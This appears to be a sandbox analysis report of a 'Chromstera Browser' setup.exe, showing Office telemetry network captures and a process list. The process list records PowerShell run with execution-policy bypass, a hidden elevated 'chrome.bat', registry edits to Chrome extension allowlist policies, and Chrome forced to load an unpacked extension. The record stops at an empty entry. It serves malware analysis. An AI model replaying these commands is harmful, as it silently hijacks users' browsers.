2024-10-28 18:12:45 UTC	1372	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703450" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOfficeMobile" S="Medium" /> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.4	59164	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:45 UTC	192	OUT	GET /rules/rule700901v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:45 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:45 GMT Content-Type: text/xml Content-Length: 1408 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1038EF2" x-ms-request-id: 77170aa2-001e-0049-0450-235bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181245Z-r1755647c66f4bf880huw27dwc00000006v00000000016kw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:45 UTC	1408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 39 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4e 61 74 75 72 61 6c 4c 61 6e 67 75 61 67 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700901" V="1" DC="SM" EN="Office.Telemetry.Event.Office.NaturalLanguage.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.4	59165	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:45 UTC	192	OUT	GET /rules/rule700900v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:45 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:45 GMT Content-Type: text/xml Content-Length: 1371 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:06 GMT ETag: "0x8DC582BED3D048D" x-ms-request-id: 213f141a-701e-0098-0f9c-27395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181245Z-17fbfdc98bbgnnfwq36myy7z0g00000005w000000000fd6k x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:45 UTC	1371	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 39 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4e 61 74 75 72 61 6c 4c 61 6e 67 75 61 67 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6f 66 69 6e 67 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700900" V="1" DC="SM" EN="Office.Telemetry.Event.Office.NaturalLanguage" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProofing" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.4	59166	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:45 UTC	192	OUT	GET /rules/rule702251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:45 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:45 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE0F427E7" x-ms-request-id: d209a394-901e-00a0-0587-286a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181245Z-r1755647c66pzcrw3ktqe96x2s00000006hg00000000h5vd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:45 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 4c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 4c 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.ML.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenML" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.4	59167	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:45 UTC	192	OUT	GET /rules/rule702250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:45 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:45 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDD0A87E5" x-ms-request-id: f75da22b-f01e-0085-0130-2788ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181245Z-r1755647c66tsn7nz9wda692z000000003v0000000001ha6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:45 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 4c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 4c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.ML" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenML" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.4	59171	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:46 UTC	192	OUT	GET /rules/rule703100v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:46 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:46 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:04 GMT ETag: "0x8DC582BEBCD5699" x-ms-request-id: 38933265-a01e-0053-619c-278603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181246Z-r1755647c66vwt2b5wfzb6a204000000026g000000000s6s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:46 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 31 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 41 54 53 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 41 54 53 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703100" V="1" DC="SM" EN="Office.Telemetry.Event.Office.MATS" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenMATS" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.4	59170	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:46 UTC	192	OUT	GET /rules/rule703101v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:46 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:46 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE0F93037" x-ms-request-id: 2073a42b-101e-0065-1a58-274088000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181246Z-17fbfdc98bbjwdgn5g1mr5hcxn00000003a0000000006qaa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:46 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 31 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 41 54 53 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 41 54 53 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703101" V="1" DC="SM" EN="Office.Telemetry.Event.Office.MATS.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenMATS"

Target ID:	0
Start time:	14:11:19
Start date:	28/10/2024
Path:	C:\Users\user\Desktop\setup.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\setup.exe"
Imagebase:	0xba0000
File size:	9'454'152 bytes
MD5 hash:	8ACA54559265D2A9AD0A810C425C644F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	14:11:21
Start date:	28/10/2024
Path:	C:\Windows\System32\msiexec.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\msiexec.exe /V
Imagebase:	0x7ff776780000
File size:	69'632 bytes
MD5 hash:	E5DA170027542E25EDE42FC54C929077
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	14:11:21
Start date:	28/10/2024
Path:	C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\syswow64\MsiExec.exe -Embedding DD3B85FC1F11BB110F90DDDEF4702234 C
Imagebase:	0x8d0000
File size:	59'904 bytes
MD5 hash:	9D09DC1EDA745A5F87553048E57620CF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	14:11:23
Start date:	28/10/2024
Path:	C:\Users\user\Desktop\setup.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\setup.exe" /i "C:\Users\user\AppData\Roaming\Chromstera Solutions\Chromstera Browser 1.0.0.0\install\Chromnius-Main.msi" AI_EUIMSI=1 APPDIR="C:\Program Files (x86)\Chromstera Browser" SECONDSEQUENCE="1" CLIENTPROCESSID="7404" AI_MORE_CMD_LINE=1
Imagebase:	0xba0000
File size:	9'454'152 bytes
MD5 hash:	8ACA54559265D2A9AD0A810C425C644F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	14:11:25
Start date:	28/10/2024
Path:	C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\syswow64\MsiExec.exe -Embedding C76E3ECFDACF14783EC0EC85D3ECBB2C
Imagebase:	0x8d0000
File size:	59'904 bytes
MD5 hash:	9D09DC1EDA745A5F87553048E57620CF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	14:11:26
Start date:	28/10/2024
Path:	C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\syswow64\MsiExec.exe -Embedding CB2789DE8A953DFC6FBB92EF73C3F598 E Global\MSI0000
Imagebase:	0x8d0000
File size:	59'904 bytes
MD5 hash:	9D09DC1EDA745A5F87553048E57620CF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	14:11:27
Start date:	28/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	-NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Windows\SystemTemp\pssD27E.ps1" -propFile "C:\Windows\SystemTemp\msiD25B.txt" -scriptFile "C:\Windows\SystemTemp\scrD25C.ps1" -scriptArgsFile "C:\Windows\SystemTemp\scrD25D.txt" -propSep " :<->: " -lineSep " <<:>> " -testPrefix "_testValue."
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	14:11:27
Start date:	28/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	14:11:28
Start date:	28/10/2024
Path:	C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe"
Imagebase:	0x800000
File size:	1'204'192 bytes
MD5 hash:	427C459E138B4F33819558D451E8500E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	14:11:34
Start date:	28/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	-NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pssED0B.ps1" -propFile "C:\Users\user\AppData\Local\Temp\msiECF7.txt" -scriptFile "C:\Users\user\AppData\Local\Temp\scrECF8.ps1" -scriptArgsFile "C:\Users\user\AppData\Local\Temp\scrECF9.txt" -propSep " :<->: " -lineSep " <<:>> " -testPrefix "_testValue."
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	14:11:34
Start date:	28/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	14:11:44
Start date:	28/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	-NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss1394.ps1" -propFile "C:\Users\user\AppData\Local\Temp\msi1332.txt" -scriptFile "C:\Users\user\AppData\Local\Temp\scr1333.ps1" -scriptArgsFile "C:\Users\user\AppData\Local\Temp\scr1334.txt" -propSep " :<->: " -lineSep " <<:>> " -testPrefix "_testValue."
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	14:11:44
Start date:	28/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	14:11:57
Start date:	28/10/2024
Path:	C:\Windows\Installer\MSI4739.tmp
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Installer\MSI4739.tmp" /EnforcedRunAsAdmin /RunAsAdmin /HideWindow /dir "C:\Users\user\AppData\Local\Temp\" "C:\Users\user\AppData\Local\Temp\chrome.bat"
Imagebase:	0x7ff77c090000
File size:	570'176 bytes
MD5 hash:	514314174B6F6A3AB2195C456B83AA1E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	14:11:57
Start date:	28/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /C ""C:\Users\user\AppData\Local\Temp\chrome.bat" "
Imagebase:	0x7ff65c650000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	14:11:57
Start date:	28/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	14:11:57
Start date:	28/10/2024
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	REG ADD "\Policies\Google\Chrome\ExtensionInstallAllowlist" /v "1" /t REG_SZ /d /f
Imagebase:	0x7ff7c6750000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	14:11:57
Start date:	28/10/2024
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	REG ADD "\Google\Chrome\Extensions\" /v "path" /t REG_SZ /d /f
Imagebase:	0x7ff7c6750000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	14:11:57
Start date:	28/10/2024
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	REG ADD "\Google\Chrome\Extensions\" /v "version" /t REG_SZ /d /f
Imagebase:	0x7ff7c6750000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	14:11:57
Start date:	28/10/2024
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	REG ADD "\Policies\Google\Chrome\ExtensionInstallAllowlist" /v "1" /t REG_SZ /d /f
Imagebase:	0x7ff7c6750000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	14:11:57
Start date:	28/10/2024
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	REG ADD "\Google\Chrome\Extensions\" /v "path" /t REG_SZ /d /f
Imagebase:	0x7ff7c6750000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	14:11:58
Start date:	28/10/2024
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	REG ADD "\Google\Chrome\Extensions\" /v "version" /t REG_SZ /d /f
Imagebase:	0x7ff7c6750000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	14:11:58
Start date:	28/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --profile-directory="Default" --no-startup-window --load-extension="C:\apps-helper"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	26
Start time:	14:11:58
Start date:	28/10/2024
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	timeout 2
Imagebase:	0x7ff798f70000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
